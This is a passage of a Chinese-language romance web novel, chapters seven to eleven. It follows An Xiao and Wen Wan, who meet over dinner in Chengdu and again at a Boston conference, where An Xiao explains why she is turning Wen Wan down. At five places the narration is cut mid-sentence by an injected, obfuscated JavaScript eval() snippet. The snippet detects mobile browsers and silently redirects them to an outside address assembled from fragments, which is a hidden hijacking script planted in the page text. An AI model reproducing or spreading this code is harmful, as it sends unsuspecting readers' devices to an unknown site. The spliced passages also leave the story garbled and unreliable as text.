“前菜有没有其他的,金枪鱼塔塔有吗,然后主菜要和牛西冷吧。谢谢。”安晓料定什么新鲜海鲈鱼,成都肯定是冻的。反正都是冻的,她不如吃和牛呢。 最终,安晓要了鲜榨玉米汁和气泡水——奇怪的组合;温婉点了一瓶19年的勃艮第红酒。 “怎么决定是这家餐厅的?”温婉问。 “就,社交媒体说挺好的。坐在窗户边能看到夜景。”安晓转头看了眼窗外的春熙路。 “明天什么时候航班?” “两点半。” “什么时候回来?” “应该会直接去上班。”安晓闷声回应。 温婉笑着问:“波士顿?” “嗯。” 空气里出现了一点停顿,温婉突然问:“什么叫‘身体喜欢我’?” “就是很放松吧,不讲话也舒服。我喜欢你身上的味道。” 她靠近一点,语气低柔:“要不要试着交往?” 安晓答非所问:“我不能回来上班,很抱歉。” 温婉轻轻笑:“你怎知我不能搬去波士顿?” “任何人都可以搬去,但不能是为了我。” 沉默,大片的沉默。 此时服务员端着酒瓶来到桌前,微微躬身,把酒标面向她们:“女士们,这是您点的红酒——2019年勃艮第,请看一下酒标。” 温婉点点头表示确认。 “我现在为您开瓶,可以吗?”服务员轻声问。 “好的。” 只见服务员熟练地拆开封口,拔出软木塞,插入醒酒器,一股清新的果香随即飘来。随后,他倒了一小口红酒放到温婉面前:“请您先尝一小口,看看是否合口味。” 温婉轻抿一口,微微点头:“可以。” 服务员在桌边将酒倒入醒酒器,酒在醒酒器中微微晃动,伴随着果香和微微橡木味缓缓呼吸开来。 餐桌的气氛突然有点down。 “要喝一口吗?”温婉突然问。 安晓点头。 温婉把自己的酒杯递给她。安晓有些愣神,手停在半空,接也不是,不接也不是。 温婉笑了起来:“逗你的。” 她重新倒了一杯。 “少一点就好,我喝不了很多。” “我以为你不喝酒呢?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309314|198756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯?” “昨晚在酒吧,你点的饮料。” “我确实不喜欢。”勃艮第太酸太涩,但今晚,应该是需要一点酒精的,安晓想。 “您好,女士,打扰了。这是您的前菜。金枪鱼塔塔,新鲜轻调味;还有生牛肉薄片,薄切,搭配芝麻菜和帕尔马干酪碎。” “谢谢。”她们错声说。 “你要试试我的吗?”温婉问。 “谢谢,不了。”觉得有些生硬,不太礼貌。安晓又回了一句,“你要试试我的吗?” “好啊。”非常规回答。 安晓用勺子挖了一半到温婉的碟子里。 两人静静吃着,室内室外的暖调灯光交相辉映,把她们的影子剪成细碎的斑驳。 “去曼谷干什么呢?” “晒晒太阳吧。还有想吃青木瓜沙拉,”安晓顿了顿,像是陷入了某种回想,“还想坐船。” “就这些吗,没有朋友和你一起去吗?”温婉盯着安晓的脸问。 “没有,就自己。”安晓偏开视线,低头切和牛。 “你很享受自己一个人旅行?”现在只能看着对面女孩的颅顶了,挺害羞的,头发还挺多。 “大多数时间吧。除了餐厅点菜的时候。有时候会想吃几个味道。”安晓的回答总是很简短,她似乎不是特别愿意展开话题。 “来成都就是为了看熊猫?” “算是吧。” 有一搭没一搭地聊着。 直到主菜上来,安晓的酒杯只剩了底。她的脸有些过分的红。她确实酒精不耐受。勃艮第酸涩的口感在她嘴里反复冲刷。她觉得不该吃这顿饭的,因为她有些不想走了。 “你不上班吗?”安晓问。 “上啊,比较自由而已。” “会觉得我奇怪吗?” “不会,有些特别,特别到可爱。” “为什么对我有好感?” “不知道,直觉吧。”温婉又加了一句,“就是有了。” 安晓的感官无限放大,眼前的人快要贴上来了,嘴角越来越不控制地上扬,她很想现在有个沙发角躺一躺。当然有酒精作祟,但更多的是安心。温婉喷了昨晚的香水,橙花和青松的味道拼命地往她鼻子里钻。她快要醉倒在这里了。 7. 第七章 一切旖旎仿佛都生长在夜色之下,暧昧在黑暗里悄然流动。 饭后,两人沿着春熙路慢慢走着,并非完全并排,而是一前一后。安晓踩着温婉在路灯下被拉长的影子,像是无意识地跟随。 从餐厅到酒店还有一段距离,她们谁也没有提打车,心照不宣地选择了压马路。路不算短,也不算长。最初的一段时间里,没有人说话。 即便是冬天的晚上八点半,春熙路依旧喧闹。街边小店的招揽声此起彼伏,汽笛声在车流中穿插,霓虹灯把人影一层层叠在地面上,热闹又浮躁。相比之下,慢慢走着的她们像是误入了另一条时间线,和周围的一切都不在同一个频道。 温婉忽然伸手牵住了安晓。 “前面是街拍区,拉紧点,容易被拐走。” 安晓的手指僵了一下,随即又放松下来,像是怕被对方察觉。 这个姿势有点怪,像妈妈牵着女儿。温婉的手很好看,手指修长,温度刚好,触感柔软。而安晓低头看了一眼自己的手——手指和手掌几乎一样长,怎么看都和“好看”二字沾不上边。 “晚餐你喜欢吗?”安晓率先打破了沉默。 “我还以为你要跟我演一晚上默片呢。”温婉笑着说。 “啊?我只是……” “只是什么?没想好说什么?”温婉偏头看她,“我长了一张很不好说话的脸吗?” “刚好相反,”安晓顿了顿,“你长了一张让我误以为在跟天仙说话的脸。” 温婉笑出声来:“哟,这不挺会说话的吗?多说几句,姐姐听听。” “你几岁啊就乱当姐姐!” 路再长,也终究有走到尽头的时候。 温婉停下脚步,看了一眼夜空,像是在给自己找一个合适的开场。 “今晚的月亮很好看。” 她顿了顿,又补了一句,语气很轻,“我可以亲你一下吗,安小姐?” 安晓还没来得及回答,额头已经被一个极轻的吻碰了一下。 温度一触即离,像是礼貌,又像是克制。 “我很高兴认识你。” “嗯。” 安晓应了一声,声音几乎是机械的。 温婉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309315|198756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着她,似乎还想说什么。那句“要不要试着交往”已经到了嘴边,又被她咽了回去。 ——再一再二,不再三。 她不想再听一次拒绝。 “祝你曼谷之旅愉快。” “谢谢。” 空气短暂地空了一下。 “不知道……我们以后还能不能再见。” 温婉像是在确认什么,“你的名字,是安之晓之的安晓,对吗?” “嗯。” “那……”她笑了一下,“可以抱一下吗?” 安晓轻轻地环了上去。 可温婉回抱得很紧,紧到她能清楚地感觉到肋骨被挤压的钝痛。那点疼意刚刚好,让她清醒。 这个拥抱只有一瞬。 直到田川雨的车灯扫过路边,把两个人的影子照亮,又拉开。 “那就……再见了。” “再见。” 车子启动,尾灯在夜色里渐渐缩成一个红点,最后彻底消失。 安晓站了一会儿,转身走进电梯。 从头到尾,一次也没有回头。 8. 第八章 车上的气氛有些沉闷。 田川雨打开了车载音响,音量不大不小,像是刻意填补空气里的空白。没多久,她听见了擦鼻涕和抽纸的声音,忍不住往副驾驶一瞥——温婉正低着头,眼眶泛红。 “不是吧,小婉,怎么了?”田川雨一愣,“又被拒绝了?刚才不还看见你们抱得难分难舍的嘛,我还以为你们成了呢。” “没事没事,”她很快又接上,“这个拜拜,下一个更乖。” 温婉没好气地把鼻涕纸扔到田川雨身上:“好好开你的车。” “去喝一杯?”田川雨问。 沉默。 “回家?” 还是沉默。 大奔沿着二环路兜了两圈。窗外的路灯一盏盏掠过,像是被时间拉长的影子。 “……找个地方喝一杯吧。”温婉终于开口。 “好嘞,您呐!” 车很快停在了昨晚那家酒吧门口。 “下车!”田川雨拉开车门。 温婉瞪了她一眼。田川雨这才意识到选错了地方,讪讪地补了一句:“哎,真是重色轻友。” 熟悉的卡座里,王蓉蓉和李季宁早就到了。 “哟,谁惹着我们小婉了这是?”王蓉蓉挑眉。 “失恋了!”田川雨嘴快。 “啊?”李季宁一愣,“还是那个小明星?不是早断了吗?还纠缠你呢?” “啥小明星,都几辈子的事了。” “哦?新人?”李季宁来了兴趣,“我咋不知道。” “不是,昨天刚认识的。” “安小姐。”田川雨贱兮兮地说。 “什么安小姐,她叫安晓。” “哟,怎么知道人家名字的?” “不是‘免贵姓安’吗?” “酒店房间欢迎卡片。” “哦——”田川雨拖长了音,突然跳起来,“什么?你去人家房间了?你昨晚不是自己住的吗?什么情况?你们那个了?” 八卦是人类最大的好奇心。一时间,卡座周围的脑袋全都探了过来,耳朵也竖得老高。 “瞎说什么呢!”温婉脸一热,“我不是那样的人,安晓更不是。” “哎哟,这就护上了。”李季宁笑得意味深长,“说说吧,到底咋回事?上次分手也没见你哭啊。这才认识不到二十四小时呢。” “是啊,小婉。”王蓉蓉也柔声说,“以前真没见你这样过。” “还不多亏了你的破酒吧!”田川雨恨恨道。 她随即把昨晚的事一股脑倒了出来——酒吧相遇、追车、今早换衣服化妆。 “人家为了这个清纯小白花妆容,可是打扮了两个多小时呢。” “我去接她的时候,看见她俩在酒店门口抱着,我还以为成了。” 水杯被轻轻推到温婉面前。 “吃饭的时候,我问要不要交往试试。”温婉终于开口,声音有点哑,“她说,她不回来工作。” 王蓉蓉把水递给她。 “她说……”温婉停了停,“跟我在一起的时候,很放松。” 那一瞬间,酸意毫无预兆地涌上来。她低下头,眼泪掉进杯子里。 说不上来为什么。只是一个甚至认识还不到二十四小时的人。 “那你不是可以过去吗?”王蓉蓉说,“现在距离算什么问题?北上广深也顶多是2个小时飞机的事。” “她不会真住波士顿吧?”田川雨插嘴。 “我去,真的?” “叫啥,我来查查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309316|198756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有没有LinkedIn。”李季宁已经掏出了手机。 “安晓啊,人家不是说了吗。” 搜索页面刷出一堆看起来年纪不太对的名字。 “她是做什么的?”李季宁试图缩小范围。 “不知道。” “什么都不知道就喜欢人家,还为人家哭成这样。”李季宁翻了个白眼。 “过分了啊,小宁宁。”王蓉蓉及时制止。 终于,在Google界面往下翻了几个词条后,一个页面跳了出来。 “找到了。” “快看是不是她。” 屏幕上的人戴着眼镜,气质比现实里多了几分疏离,却确实是安晓。页面上写着: ‘HarvardMedicalSchool XiaoAn,PhD PostdoctoralFellow·ChemicalBiologist XiaoearnedherPhDfromHeidelbergUniversity,Germany.Herresearchfocusesonchemicalbiologyapproachestoprobeproteinfunctionandcellularsignalingmechanisms.’ 酒吧的音乐还在放,灯光却好像忽然暗了一点。 “这次眼光还行。”李季宁评价,“科学家,比七十二线小明星强多了。” “你能不能闭嘴。”田川雨气急败坏。 温婉已经没在听她们说话了。她只是盯着手机屏幕。那几行字,像是把一个人的过去、现在,全都简略地陈列在她眼前。 清楚、克制,又遥不可及。 9. 第九章 波士顿的冬天太冷了。 再见安晓时,她穿着黑色羽绒服,里面是黑色西装,浅蓝色的法式衬衫在领口露出来。电梯里,看起来比周围人多了一点俏皮。站在电梯口等电梯的温婉一眼就认出了她。 纵然跟第一次成都酒吧见面时很不一样。 她在人群中侃侃而谈,有种正在发光的感觉。 安晓在电梯门打开的瞬间,也看到了温婉。四目相对,安晓有些慌张地低下了头,然后又迅速抬了起来。人群从电梯中鱼贯而出,如鸟兽般各自散去,然后又鱼贯而入。电梯开始上行。 沉默,大片的沉默。像王家卫的电影中Maggie和Tony站在街角口的沉默。 “你要吃饭吗?”安晓打破了沉默,她的声音有些干,她抬眼看了下手表,“12点15了”。 “好。” 今天的波士顿太冷了,尤其是前几天刚刚下过雪。温婉只穿了一件羊毛大衣。 “美式快餐可以吗?” “你头发长长了。” 两人同时开口。 要不就都不说,一说就全说。 “我的头发太硬了,这里的理发店不太会剪。” “可以。” 又是一起回答。 “很快的,半条街就到了。” 安晓下意识想快跑两步,看到温婉穿了低跟皮鞋,又停了下来。 酒店半条街远的地方有家麦当劳,挤满了刚刚电梯井里的西装牛仔裤混搭,头发不修边幅的年轻年老的学生教授们。全部站着围着小圆桌在吃东西。安晓穿过人群去自助机前点餐。 “牛肉汉堡可以吗?” “饮料的话只有苏打饮料,还是冰的。咖啡可以吗?会热。” “薯条呢?” “我都可以,你看着来。” 她们的对话不像是只见过两面的样子。 温婉看着她熟练地在人群中穿梭,点餐,取餐,时不时地跟就餐的不同的人打招呼,点头示意。 这不是成都的安晓。 “这是你的牛肉堡,薯条,咖啡。” 她把食物摆在温婉面前,垫了2张餐巾纸。然后打开自己的脆皮鸡腿堡大大地咬了一口。 “不好意思,我有点饿。” “慢点吃。怎么你们不在酒店吃自助?” “我们没会议补贴。组里只出了注册费,因为就在本地。” 安晓三下五除二吃完一个汉堡,喝了几大口冰可乐,那冰块多的,温婉感觉冰得她牙痛。 “不冷吗?” “嗯?” 温婉用手指了指冰可乐。 “哦,习惯了。” “对身体不好。” “好的。” 仿佛一闷棍打到棉花上。 “来这玩吗?”安晓没敢问为什么来这儿。 “家属来开会。” 家属。安晓心情马上晴转暴雨。结婚了已经,这么快。 “我妈妈。” 很好,又马上转晴了。 “哦,令堂。”她边说边笑,不知道是想起什么好笑的事情。 “晚上一起吃饭吗?”安晓问。 口吻像极了在说“今天天气真好啊”。 “安小姐这么爱请人吃饭?”温婉突然有些恼火。飞了上万公里,二十多个小时加上转机,难道就是为了听你在这聊家常。她的时差还没倒过来就马不停蹄地赶到酒店,就是怕错过眼前这个人今天下午的报告。 “啊?啊!我……我不是……”安晓一时有些无措。是从哪句话开始不对了呢。 刚才不还是好好的嘛。 “不吃也没关系的,不好意思,我冒昧了。” “你吃好了吗?我们可以顺道一起回酒店。” 她觉得可能自己想得太多了,然后不太讨喜。确实,有谁飞上万公里来吃汉堡还会高兴的。 安晓利落地收好餐盘,温婉的手机电话响起,她起身站在门口接电话,安晓站在远远的一侧等。 她能看到她讲电话时的表情,微笑中透露着幸福和娇嗔。她那颗七上八下,从电梯口开始拼命悸动的心突然就安定了下来。可能这就是命运吧,你没抓住第一次,就不可能有第二次了。她看起来过得不错,她不敢问也没立场问的问题。这样就挺好,在这顿午餐以后,大家就再见吧。 “咋样,见到了吗?”田 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309317|198756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川雨的声音欢快又八卦地从听筒里传来。 “快说快说,我来问我来问。”听筒对面乱成一锅粥。温婉紧绷的一口气突然就舒了出来。 “见到了。”现在没有镜子,不然真应该照照自己的表情,不知道的还以为她今天结婚呢。 “刚吃完午饭。”对面又开始叽叽喳喳,“啥,进展够快啊。” “她在一旁等我呢,我回去再跟你们说。”然后快速地挂掉了电话。 电话那头:田川雨和众人翻了个大大的白眼,吐槽着重色轻友。 路上没人开口。 再次到了电梯口,“抱歉我得走了,下午一点半是我的报告。很高兴再次遇见你,祝你旅行愉快。”然后她摆了摆手,转身进了另一部电梯。 一点半的汇报不允许安晓再想什么。她得先去准备一下。汇报很顺利,她收到了很多有意思的问题和很多感兴趣的课题建议。说实话,为了这场会她准备了很久,这是她展示自己并找到下家的好机会。安晓深谙此道,有机会就要抓住然后去展示,这在哪一行里都是生存准则。 汇报完后她脑袋空空。那种感情好像结束了的情绪突然涌了上来。她想着命运就是这样,真公平,你从这里得到一点,就要从那里失去一些。算另一种意义上的能量守恒。 她依旧在social,在寒暄,在和对她课题感兴趣的同行聊课题,聊进展,聊自己的职业发展方向,还交换了联系方式。她觉得自己已经成熟到可以不用怎么听就可以冠冕堂皇地脱口而出一些话了。 温婉没能进入会场,她第一次知道原来进会需要通行证。她一通电话打给王蓉蓉,气鼓鼓地兴师问罪。 晚上的晚宴安晓没参加,今天实在太长了。她去地下停车场取了自己的车,从这开车回家要将近一个小时,明天还要上班。她揉了揉发紧的眉心,打开车载音响。*“Youbookthenighttrainforareason,soyoucouldsitinthishurt.”* 她钟爱sadsongs,没有理由的。 直到电子手表震动两下,她抬手看。 “安小姐,还有晚饭吗。”备注:小熊猫。 10. 第十章 “小婉恋爱拯救计划”群里的消息不断刷新,转眼就到了70+。 温婉在回群消息和微信主屏幕之间来回切换,那个晚霞枯枝头像的对话框依旧沉寂。 「她没回我,这都2个小时过去了。」 「可能是太忙了没回呢,人家开会又社交的,可能没时间看微信,再等等呗。」——田川雨安慰道。 「是啊,小婉。先别急,不是中午看见就叫你吃饭了吗,还问你晚上要不要一起吃饭。不过话说你怎么就拒绝了。」——信息来自王蓉蓉。 「我们小婉一直被拒绝,现在终于拒绝别人了,小心人家直接跑路了。」——李季宁。 「小宁宁,你这乌鸦嘴什么时候能改改,快闭嘴吧你。」——田川雨。 「哎,她太若无其事了,我一下子就没忍住。我为她跑这么远来这,就是为了吃那顿晚餐?再说了,还不能让我有点情绪了。」——温婉。 「够刚,不担心竹篮打水一场空就行。HHHHHHH」——备注:爱来自李季宁。 「欧阳阿姨呢,她知道这事儿吗?」——田川雨问。 「我妈,不知道,忙着吧。她那么精明,早看出来了,知道我肯定为了什么事跟她一起来。人家原话是:『您什么时候跟我一起屈尊降贵出过差啊,不一定去陪谁呢,反正不是你妈我。』」 「还是阿姨慧眼识珠。???」——李季宁。 温婉的妈妈是资产管理经济学家,这次来波士顿出差。 「如果人家就是不回你怎么办?」——王蓉蓉。 「明天还有半天会呢,她肯定得来,不行我就堵她门呗。」 「小婉你是何必呢,咱找啥样的找不到,不行算了呗,我看学霸也不怎么样,说不定是个书呆子,回避型人格呢,以后有你好受的。」——王蓉蓉诚心劝道。 「你们相信一见钟情吗?」——温婉。 「不是吧,你来真的啊,你搞什么鬼???」——田川雨。 「我一直都很认真。」——温婉。 「要忘记早忘了,这都过去一年多了。」 「看她表现应该有戏,不要太悲观。不过你自己注意安全啊,毕竟你们也是仅限于一面之缘的认识,又不了解对方。」——王蓉蓉。 「放心吧,你们。本小姐敢爱敢恨,不行就回家,怕什么,我妈还在呢。」 温婉虽然发了这条消息,但心里却在打鼓。 她看见安晓手腕上戴的AppleWatch了,她不可能没看到。 ****** 安晓到家时,天已经黑透了。 波士顿的冬令时就是这样,长时间的黑天让人心慌。她摘下手腕上的AppleWatch换成机械表,然后再也没看一眼手机。 她坐在沙发上查看邮件,然后盯着电脑屏幕开始出神。不知过了多久,桌上的咖啡早就凉透了,她喝了一口,又酸又涩。这是她7年以来的第一次动心,但不会有结果。不管是谁放弃自己的生活和职业生涯,这都不公平。 她想了很久,决定抑制自己那一瞬的心动,想想算了。她知道这个决定好像有点残忍,也不太符合她以前天真的、无知的、幼稚的、不需要权衡利弊的、感情凌驾于一切之上的想法。 她在这一瞬间突然觉得自己好像真的,已经是个大人了。 她静下心来整理了今天会上的内容,对自己报告中提到的问题和建议,然后列了第二天的工作计划,冲了澡。 凌晨1点,她上了床。明明已经很晚了,已经过了她的生物钟的入睡时间,但她没睡着。 她去客厅拿了手机,打开微信“小熊猫”的对话框。那里躺着一条消息: 「安小姐,今天还有晚饭吗?」 她反反复复地输入又删除,屏幕暗了又亮,亮了又暗。最后她把手机关机,放到厨房放杂物的抽屉里,然后回到房间锁上门。 她想,物理距离的远离,可能会让她更冷静一点。 明天还有很多的工作要做,上午还有会议要参加,下午还要再回Lab。她已经到了自己设定的择业期。她给自己定下最多3年的博后窗口,然后就去业界找工作。现在已经是第二年了,现实不允许她想东想西。 她憧憬过自己的感情生活,想等到自己的事业稳定后开始Dating,能够遇到自己心爱的人,然后简单地过完自己的一生。现在她不太确定了。 凌晨一点半,睡意全无,她强迫自己吃了一片褪黑素。 ****** 安晓再次醒来,是床边的闹钟叫醒了她。那声音堪比楼道里的消防警报。 她如往常一样:刷牙,30个俯卧撑,冲澡。 然后从冰箱里拿出泡好的麦片,边换衣服边吃饭。 5分钟后,停车场取车,开向会场。 她和同事从会场出电梯后,就看到了坐在酒店大厅会客区沙发里的温婉。 这次,她主动走了过去。 她想,即使是暧昧的结束,也要给一个正式的信号。 她招手向温婉示意,说:“你好,温小姐,有时间吗。我们或许可以聊一下。” 温婉点头。 在酒店二层较为安静的咖啡厅里,安晓选择了靠窗、被立柱遮挡的半私密位置。她们各自要了一杯咖啡。安晓没有沉默,她先开口了。 “抱歉,昨晚我看到消息了,但是我没有回。因为我不知道该怎么回。我不知道你是否已婚,有对象,在恋爱中,我也不知道你为什么会来这儿。为什么我们会再遇见,为什么我还要请你吃饭。” 她长吸了一口气。 “但我还是想向没有即时回复你消息对你表示抱歉。因为我有猜到可能这一切跟我相关。你来这里,我们再遇见。这件事儿。但我强迫自己不要去多想,把自己放在一个这么重要的位置,有人不远万里地为我来到这里。所以我想问清楚。” 她顿了顿,右手拇指和食指搓了一下袖口,然后狠吸了一口气: “温小姐,你是因为我来这儿的吗?” 温婉点头,回答说是。 她没想到安晓会这么直白,一股脑儿地把这些话说了出来。这有点不像她,又有点像她。 “谢谢你来这儿。”她叹了一口气,“但是我想把东西讲清楚。” 她说:“温小姐,我们可能没有这种可能。我承认我对你动心过,包括现在。但是就像我们在去年12月的成都,见到后讲得一样,我不会回去工作,所以我们很难在一起。你不了解我是什么样的一个人,我出生于一个什么样的家庭,有着怎样的生长环境和成长经历,如何来这里念书。我的工作是什么,做得怎么样。我这个人的人品好不好,赚多少钱。有没有房子,生活习惯和你相不相同。是不是有很多你接受不了的性格。这些东西你都不知道,我也不知道您。我们知道彼此的就,只有一个名字。甚至都不能确定,是不是真的。” 她指了一下自己挂在胸前的会议通行证。 “当然,现在你可能可以确定我是真的叫安晓了。当然我也愿意相信,您,真的叫温婉。但是呢?我们需要时间去相处,了解彼此,知道自己是不是特别合适的,能够在一起生活的人。我觉得长久的关系不只是一瞬间的心动。心动固然重要,因为在茫茫的60亿人中,可能你真的很难找到,那么称心意的,双方互相喜欢的人。我知道这种感情非常的,珍贵,宝贵。” “所以我想讲清楚。我承认我心动了。我能感觉到,您应该是对我有好感的。但是时间和空间上的距 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309318|198756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离都让我们彼此不能够,有,进一步了解的机会。因为我真的很难看到我们彼此的未来。” “就像我说我不能回去工作一样。我也不可能强迫别人,搬离她熟悉的,从小到大生长的环境。离开自己的父母,朋友,生活社交圈子,放弃自己的职业生涯。或者说重新开始,来到一个她完全不熟悉的地方,仅仅是为了那一个虚无缥缈的,可能的,会有好的,爱情结果的未来。甚至都不可能叫未来。我看不到。” 温婉讲:“你怎么知道我不可以来这里。” “不,是我的问题。我会觉得你是因为我来这里。我会觉得羞愧。如果我们以后吵架,你会把这个东西拿出来讲吗?还是,我要假装自己看不到你对我的付出?即使在日后的吵架中,你不把这个事情拿出来讲,我也会因此感觉到羞愧。我觉得我们彼此都不会舒服。我做不到假装觉得你是为了你自己来到这里。我觉得那种太可耻了。它会像横亘在这里的一根刺,上不来也下不去。我想这是我自己的原因,但这就是我,现在的,这一刻的真实想法。我不希望这个东西最后成为一种谈资。我知道我现在讲的东西非常没有道理,可能。但我也不觉得任何人,为了另外的任何一个人放弃自己的职业生涯,生活习惯,所有的一切的一切。所有的任何人都永远都不要放弃自己的事业。哪怕你可以重新在这里开始自己的第二次。这是我的想法。” 她开始有些语无伦次。 “虽然听起来有点非常的可耻。当我在讲这些事情的时候,我自己在Blamemyself。我觉得我不是一个纯粹的人。因为我把其他的东西——现实生活凌驾于我的感情之上。这个我非常对不起。” “如果我现在22岁,我可能会跟你讲,我们什么都不要,没关系的。有情饮水饱,我现在就可以回去,找一份简单的工作,我们一起过什么柴米油盐酱醋茶的日子。但我觉得,那个也就不是我了,你也就不会喜欢我了。” “我们Charming的地方就在于,我们非常的自我。有着清醒地认知,对自己的人生有着很强的控制欲和计划。对自己的事业有着非常的Ambition。” “但如果,我回到22岁,那种为了所谓的爱情,不顾一切。然后我们相处下来发现,刚开始吸引彼此的闪光点消失了。那我们还剩下什么东西呢?我觉得是Nothing。” “与其,相处过后,磨灭掉我们最开始的印象。我觉得不如我们,就现在相忘于江湖。大家还能够留下大家最初相见时候的美好的样子。你觉得呢?” 她长长的松了一口气,好像完成了什么了不起的任务一样。面皮从开始的涨红到现在的惨白。这些话好像在她脑子里盘旋很久了,今天终于一股脑儿的吐了出来。她喝了一大口咖啡,整个人由开始的背部挺立到现在的完全颓废的像只虾一样窝在沙发里。 温婉没有讲话。 她不知道该讲什么。她觉得爱情很重要。她从小到大生活优渥,她从没想过安晓是怎么生活的。她是怎么来到这里念书的?她的家庭应该也挺不错吧?德国博士、波士顿博后,学校又好,履历又棒……甚至就算家庭环境有差距,也不该差太多吧。 她不懂,为什么安晓会这么在意职业生涯。她搬来,好像没什么所谓,她觉得。她不明白,为什么安晓会想这么多,还郑重其事地讲出来,甚至在恋爱发生以前。这和她以往经历的感情,好像都不一样。 她没有着急去说服。她的回应只是——“好的,你的信息我收到了。” 手指还在抚摸着咖啡杯,热美式早就凉透了。 安晓不知道自己怎么离开酒店的。她一边谴责着自己的冲动,一边庆幸自己说了所有。 最后她只听到了温婉说的一句话:“安小姐,我单身的。” 11. 第十一章 那些语无伦次,重复,不断兜圈的内心独白。说真的,温婉有些吓到了。 这份恋爱还没开始就有些沉重。 她不知道怎么回到成都的,但是班还是要上的,学生还是要带的。毕竟到了考试周,教学任务是轻松了,书面的Paperwork和年终总结报告也让她应接不暇。直到田川雨打电话问她要不要参加元旦跨年Party,她才意识到离开波士顿好久了。接电话的手顿了顿,说了好的。田川雨察觉到她的情绪,问她要不要紧。 “大学里的年终和考试周你还不知道,最近太忙了。”她假装无事发生。 从波士顿回来的那天晚上,夜色酒吧,沙发围了一圈的八卦人士。 “怎么样,怎么样,有没有什么进展,有没有被打动?” “暂且不想提了,大家不要问了,我要想一下。” 温婉回来后再也没提过关于安晓的任何事,仿佛从未去过一样。只是偶尔来夜色的时候,不经意地看向吧台的位置。 安晓似乎总是很忙,实验总是做不完,数据也是分析不完的,甚至,找工作也是。从申请硕士,到博士,再到博后。她从上海搬到瑞士,再从瑞士搬到德国,然后,现在又搬到了波士顿。她不敢也不能买大件,在海德堡的单人公寓里,一张地毯和90cm宽的宜家床垫,她就那么在地上睡了4年。不知道是不是这种需要频繁搬家的不安定感,她觉得没有任何属于自己的东西。那些额外的、精美的碗盘,杯子,家用电器,沙发,似乎都是搬家时被标注的“XX垃圾”。她特别渴望安定和属于自己的家庭,就是那种哪怕什么也不做,晚上下班回家的时候有人在家,灯亮着,她都会觉得幸福。 事实反而相反,你越渴望什么东西,好像就越不会拥有。于是,转眼就到了第7个单身过的元旦,当然,还有春节。 组里最近发了文章,庆祝Party搞得很热闹。她和Emily站在Lab厨房里的一根柱子旁边,喝着无酒精饮料。 “Xiao,怎么样,最近有没有什么情况?” “什么什么情况?” “Dating。” “没有。” “为啥,Postdoc的工作让你太疲惫了?” “我不直的。” “哦,不直是指Bisexual?” “算是吧。” “你以前谈过恋爱吗?” “有过女朋友。” “咋分手了?” “不知道,Relationship太难了对我。大家处在不同的人生阶段吧,她工作了,我还是学生。”安晓选择性地说一些看起来冠冕堂皇的理由,以便让自己被甩这件事看起来体面点。 “确实,你是搬来这以前分手的?” “哦,分手很久了,好多好多年了。但不是因为我外出求学这件事,在那之前很久。” “挺好的。我有个前男友,当时异地恋,太难熬了。” 安晓没听清接下来的对话,是她前男友太有毒还是怎么了。她的前一段关系,她后来想了想,不管怎么样都会分手。哪怕当时对方的分手借口是“我和你在一起觉得对不起自己的婆婆,爸爸妈妈,要是他们知道我在外边搞同性恋,我婆婆还生病了。”安晓还能说什么。那是她人生很黑暗的一段时间。她忙着毕业,写毕业论文,求职,她当时想好了搬到四川去的。分手前一天对方还说马上是你生日了,刚好是寒假,到时候你来宜宾,我们一起过。安晓还在计划买机票、去哪玩,第二天就毫无征兆地被分手。 